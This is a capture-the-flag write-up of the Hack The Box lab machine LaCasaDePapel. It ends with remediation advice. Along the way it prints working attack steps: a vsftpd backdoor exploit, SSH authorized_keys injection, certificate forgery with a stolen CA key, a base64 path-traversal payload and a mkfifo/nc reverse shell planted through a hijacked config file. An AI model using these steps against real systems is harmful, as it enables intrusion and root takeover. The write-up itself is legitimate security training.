Hacking Insights by Max Bautista

LaCasaDePapel writeup

Box name: LaCasaDePapel

Difficulty: Easy

OS: Linux

Overview: LaCasaDePapel is an easy difficulty Linux box, which is running a backdoored vsftpd server. The backdoored port is running a PHP shell with disabled_functions. This is used to read a CA certificate, from which a client certificate can be created. The HTTPS page is vulnerable to LFI, leading to exposure of SSH keys. A configuration file can be hijacked to gain code execution as root.

Link: https://app.hackthebox.com/machines/LaCasaDePapel?tab=play_machine

Machine IP: 10.129.87.111

Ran rustscan against the machine.

rustscan -a 10.129.87.111 –ulimit 5000 -b 500 — -A -Pn

This shows that we have an FTP server, SSH, and a webserver on port 80/443. Right away vsftpd looked interesting. I ran searchsploit and we found backdoor command execution exploits.

Fired up Metasploit.

msfconsole

search vsftpd 2.3.4

use 0

set LHOST tun0

set RHOSTS 10.129.87.111

Exploit

Interestingly it says this is already exploited so I wonder if foothold is something else and this deals with root. I will come back to this. Let’s check out the webserver. I navigated to https as I don’t normally see that on HTB Labs. It mentions there is a certificate error.

I checked out the certificate but unfortunately I’m not exactly familiar of how to exploit anything on this topic yet nor do I have any current notes. I checked out port 80 as well and there is a QR code.

I ended up scanning it and it has a secret key.

Checked source code on both sites but nothing pops out as interesting. I tried going to robots.txt on both sites, nothing on the http server. The https server redirected me to lacasadepel.htb, so I added that to my /etc/hosts. I tried anonymous access to FTP really quick but that didn’t work. I ended up poking back at the FTP server further out of thought that maybe just Metasploit failed. Found exploitdb’s exploit and read through it https://www.exploit-db.com/exploits/49757. It appears that one of the libraries is no longer used though so I used a different exploit https://github.com/Hellsender01/vsftpd_2.3.4_Exploit/blob/main/exploit.py. This drops us in an interesting PHP shell.

scandir(‘.’);

Poked around the users. We see 5 users.

scandir(‘/home’);

Berlin has the user.txt

scandir(‘/home/berlin’);

Permission is currently denied though.

echo file_get_contents(‘/home/berlin/user.txt’);

I noticed in dali’s home directory I have access to authorized_keys. I created my own key and added it to the file.

ssh-keygen -t rsa -b 2048 -f ./id_rsa

cat id_rsa.pub

file_put_contents(‘/home/dali/.ssh/authorized_keys’, “ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUlhBJ1K+eM0ZxQjH11El/jS9D61TBG6HDvH2iX1WDudQ1uxAgRLOtCXlF0XmbyNahhVSBQz64S+eRazYkvd1VrIXV5fUca0GBkWJgZklfGM3GZL8dV2AzcNzaxrwxcqtcZmzTABLIvCHy9He5wMOjtA3eEXNE6hfJW2KLwTXnrgx9xCf/jtLyrpeeANGR6FtOxQsdSbydZx+Q23j1axtlIuiuxPb6mISxQKzRwJUgMDi1DbKtvmQby6iMaAyXiMB8UOzK53j4D1YziEF5EqBzN7fFvE34O0HlNih/aEc+e9w433CkbkjxqTtK9M1sbNvO/BY1CLTJvTwOmx0Y3Vqv kami@Interstice\n”, FILE_APPEND);

ssh -i id_rsa dali@10.129.87.111

Regardless I get the same type of shell.

I was trying to get a better shell but unfortunately I’ve been unsuccessful. I ended up just dealing with it. I poked around the other directories of the users. The most important thing to us now I noticed is that there is a certificate in nairobi’s directory.

echo file_get_contents(‘/home/nairobi/ca.key’);

Saved it on my machine. With this we should be able to forge a client cert.

chmod 600 ca.key

openssl genrsa -out client.key 2048

Added the server certificate to ca.crt

openssl x509 -req -days 365 -in client.csr -CA ca.crt -CAkey ca.key -set_serial 01 -out client.crt

Imported it to firefox and navigated back the server and we can use our certificate.

It brings us to a new page.

I clicked both and they provide multiple .avi files.

I fired up Burp and added the cert to BurpSuite so I have more control. Looking at the endpoint /?path= I decided I should try to fuzz and poke at this. I eventually played with LFI and this gave us some interesting responses back.

Since berlin had the user.txt, and I have less permissions poking in their account earlier, I checked for ssh keys under their account and we see an id_rsa.pub.

It wouldn’t output properly when I checked id_rsa but earlier when I was clicking the .avi files it was downloading. I captured a request for 01.avi and this is the request.

The U0VBU09OLTEvMDEuYXZp is base64 for SEASON-1/01.avi. I encoded the LFI string I was using to attempt to view the id_rsa. Sent that over and we get the id_rsa key.

/../../../../../../../home/berlin/.ssh/id_rsa

/Ly4uLy4uLy4uLy4uLy4uLy4uLy4uL2hvbWUvYmVybGluLy5zc2gvaWRfcnNh

Saved it to a new id_rsa file.

chmod 600 id_rsa

ssh -i id_rsa berlin@10.129.87.111

But this is password protected. I tried this on other accounts we saw earlier and for some reason we got in as professor.

ssh -i id_rsa professor@10.129.87.111

We still can not get user.txt yet. I started local enumeration but checking the files of the directory we landed in. memcached.js is unreadable but it looks like memcached.ini made be running with this command.

We can’t write over the exact file but since it is our directory we can move it  and create a new malicious file.

mv memcached.ini backup

cat << ‘EOF’ > shell.sh

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.212 4445 >/tmp/f

EOF

chmod +x shell.sh

Created a new memcached.ini

cat << ‘EOF’ > memcached.ini

[program:memcached]

command = su -c /home/professor/shell.sh

EOF

penelope -p 4445

Waited to see if this runs on a cronjob. And we get root! Grabbed both flags to submit.

GG

Attack Chain

1 – Reconnaissance
Ran RustScan and identified ports 21 (FTP vsftpd 2.3.4), 22 (SSH), 80 (HTTP), and 443 (HTTPS). Checked Metasploit for the well-known vsftpd 2.3.4 backdoor exploit but found it was already triggered or non-functional, suggesting a different path was needed. Browsed to HTTPS and found a certificate error. Browsed to HTTP and found a QR code containing a secret key. Source code and robots.txt on both sites returned nothing useful. The HTTPS site redirected to lacasadepapel.htb which was added to /etc/hosts.

rustscan -a 10.129.87.111 –ulimit 5000 -b 500 — -A -Pn

2 – Initial Access – vsftpd 2.3.4 backdoor PHP shell
Standard anonymous FTP access failed. Found the official Metasploit module incompatible with a dependency. Used an alternative public exploit for the vsftpd 2.3.4 backdoor and landed in a restrictive PHP shell with disabled_functions limiting available commands.

3 – User enumeration and SSH key injection
Used scandir and file_get_contents through the limited PHP shell to enumerate /home and found five users including berlin who held user.txt. Berlin’s directory was not directly readable. Found dali’s .ssh directory was writable. Generated an SSH key pair and appended the public key to dali’s authorized_keys via file_put_contents, then authenticated via SSH, though it returned an equivalently restricted shell.

4 – CA certificate theft and client certificate forgery
Found a CA certificate and key in nairobi’s home directory, readable through the PHP shell. Downloaded ca.key and used it to generate a new client key, CSR, and forge a signed client certificate. Imported the forged certificate into Firefox and authenticated to the HTTPS site, unlocking a new media streaming page.

openssl genrsa -out client.key 2048
openssl x509 -req -days 365 -in client.csr -CA ca.crt -CAkey ca.key -set_serial 01 -out client.crt

5 – LFI via base64-encoded path parameter
Explored the new site’s ?path= parameter and confirmed LFI. Captured a legitimate file request in Burp and found the path parameter was base64 encoded. Encoded a traversal payload targeting berlin’s id_rsa and retrieved the private key, bypassing the earlier permission restriction through this alternate access vector.

/../../../../../../../home/berlin/.ssh/id_rsa (base64 encoded in the request)

6 – SSH access as professor
Berlin’s private key was passphrase protected. Tried the key against other enumerated users and successfully authenticated as professor.

ssh -i id_rsa professor@10.129.87.111

7 – Privilege Escalation – memcached.ini config hijack
Enumerated professor’s directory and found memcached.ini which appeared to be read by a privileged process, likely via cron. The original file could not be overwritten directly but the directory allowed renaming it and replacing it with a malicious version. Created a reverse shell script and a new memcached.ini pointing to it. Waited for the scheduled process to execute the config and caught a root shell. Retrieved both flags.

---

Key Takeaways

1. vsftpd 2.3.4 backdoor accessible – CVE-2011-2523 (CVSS 10.0 Critical) – The FTP server was running a version with a well-known malicious backdoor inserted into the source distribution, allowing command execution via a crafted login string. Any software download must be verified against official checksums and vsftpd must be updated to a clean, officially distributed version immediately.
   
2. CA private key stored in a user-readable directory – The CA key used to sign client certificates for HTTPS authentication was stored in nairobi’s home directory, accessible through the limited PHP shell. This allowed forging a valid client certificate to bypass certificate-based authentication entirely. CA private keys must be stored in a hardware security module or offline and must never reside on any server filesystem accessible to application processes.
   
3. LFI via base64-encoded path parameter bypassing permission restrictions – The media streaming application was vulnerable to local file inclusion through a base64-encoded path parameter, allowing retrieval of SSH private keys that were not directly readable through the initial foothold. All file path parameters must be validated against an allowlist regardless of encoding, and encoding user input does not provide any security benefit against traversal attacks.
   
4. Writable .ssh directories enabling unauthorized key injection – The dali user’s .ssh directory was writable through the PHP shell, allowing injection of an attacker-controlled public key into authorized_keys. SSH configuration directories must be writable only by the owning user and any web-facing process compromise must not have write access to other users’ home directories.
   
5. Privileged process reading a user-writable configuration file – CWE-732 – A scheduled task running as root read memcached.ini from professor’s directory, allowing a malicious configuration to be substituted to achieve code execution as root. Configuration files read by privileged processes must be stored in root-owned directories with no write access for standard users.
   

---

Remediation

[Immediate] Remove the backdoored vsftpd and install from an official clean source
Uninstall vsftpd 2.3.4 immediately and reinstall from the official distribution repository with checksum verification. Audit all software installations across the environment for signs of supply chain compromise and verify package integrity before deployment.

[Immediate] Move the CA private key to a secure offline or HSM-backed store
Remove ca.key from nairobi’s home directory immediately. Store all CA private keys in a hardware security module or an offline signing system with strict access controls. Revoke and reissue all client certificates signed with the compromised key.

[Immediate] Remediate the LFI vulnerability in the media application
Rewrite the path parameter handler to validate all requested paths against an explicit allowlist of permitted media files, regardless of base64 encoding. Reject any decoded path containing traversal sequences. Conduct a full code review of the application for additional file access vulnerabilities.

[Immediate] Restrict write access to all .ssh directories
Set all .ssh directories to mode 700 owned by the respective user, preventing write access from any other account or process. Audit all user home directories for writable SSH configuration paths and correct permissions. Rotate SSH keys for any account where authorized_keys may have been tampered with.

[Immediate] Relocate privileged configuration files to root-owned directories
Move memcached.ini and any other configuration file read by privileged scheduled tasks to a directory owned and writable only by root. Audit all cron jobs and scheduled tasks for configuration files or scripts located in user-writable directories and correct their locations and permissions.

[Short-term] Restrict PHP shell functionality and disabled_functions bypass paths
If any PHP execution context with disabled_functions is required, ensure file read and directory listing functions that can disclose sensitive data such as private keys are also restricted. Apply the principle of least privilege to the web application’s filesystem access, preventing it from reading any user home directory.

[Long-term] Implement a comprehensive LFI, certificate management, and privileged process hardening baseline
Define a hardening standard covering LFI prevention, CA key custody, SSH directory permissions, and privileged process configuration file locations. Include certificate-based authentication bypass testing and privileged cron job configuration review in the regular penetration testing scope.